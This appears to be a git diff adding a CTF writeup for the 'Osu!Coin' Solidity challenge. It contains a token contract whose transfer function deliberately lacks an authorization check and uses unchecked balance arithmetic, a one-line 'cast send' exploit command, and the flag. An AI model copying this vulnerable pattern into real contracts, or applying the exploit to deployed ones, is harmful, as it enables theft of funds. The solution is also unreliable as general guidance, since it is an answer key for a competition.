add writeup for Osu!Coin

src/Osu!GamingCTF2024/Osu!Coin/README.md

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+
+Run:
+```
+cast send $COIN_ADDR "transfer(address,address,uint256)" $SETUP_ADDR $SETUP_ADDR 1000000 --private-key $PRIVATE_KEY
+```
+
+Flag:
+```
+osu{u_just_solved_https://x.com/shoucccc/status/1762614966815998314}
+```

src/Osu!GamingCTF2024/Osu!Coin/attachment/OsuCoin.sol

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+pragma solidity ^0.8.17;
+
+contract OsuCoin {
+    struct Account {
+        uint128 balance;
+        uint32 context;
+        uint96 escaped;
+    }
+
+    address public constant _0 = address(0);
+
+    mapping(address => Account) public _accounts;
+
+    function balanceOf(address a) public view returns (uint128) {
+        return _accounts[a].balance;
+    }
+
+    function deposit() public payable {
+        _accounts[msg.sender].balance += uint128(msg.value);
+    }
+
+    function withdraw(uint256) public pure {
+        require(false, "You really think you could get USD from withdrawing osu!coin?");
+    }
+
+    function transfer(address from, address to, uint256 amount) public returns (uint160) {
+        uint128 n = uint128(amount);
+        unchecked {
+            Account memory a = _accounts[from];
+            Account memory b = _accounts[to];
+            a.balance -= n;
+            b.balance += n;
+            _accounts[to] = b;
+            _accounts[from] = a;
+            return 0;
+        }
+    }
+
+    receive() external payable {
+        deposit();
+    }
+
+    fallback() external payable {
+        deposit();
+    }
+}

src/Osu!GamingCTF2024/Osu!Coin/attachment/Setup.sol

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+pragma solidity ^0.8.17;
+
+import "./OsuCoin.sol";
+
+contract Setup {
+    OsuCoin public immutable coin;
+
+    constructor() payable {
+        require(msg.value == 100 wei, "requires 100 wei");
+        coin = new OsuCoin();
+        coin.deposit{value: msg.value}();
+    }
+
+    function isSolved() public view returns (bool) {
+        return coin.balanceOf(address(this)) == 0;
+    }
+}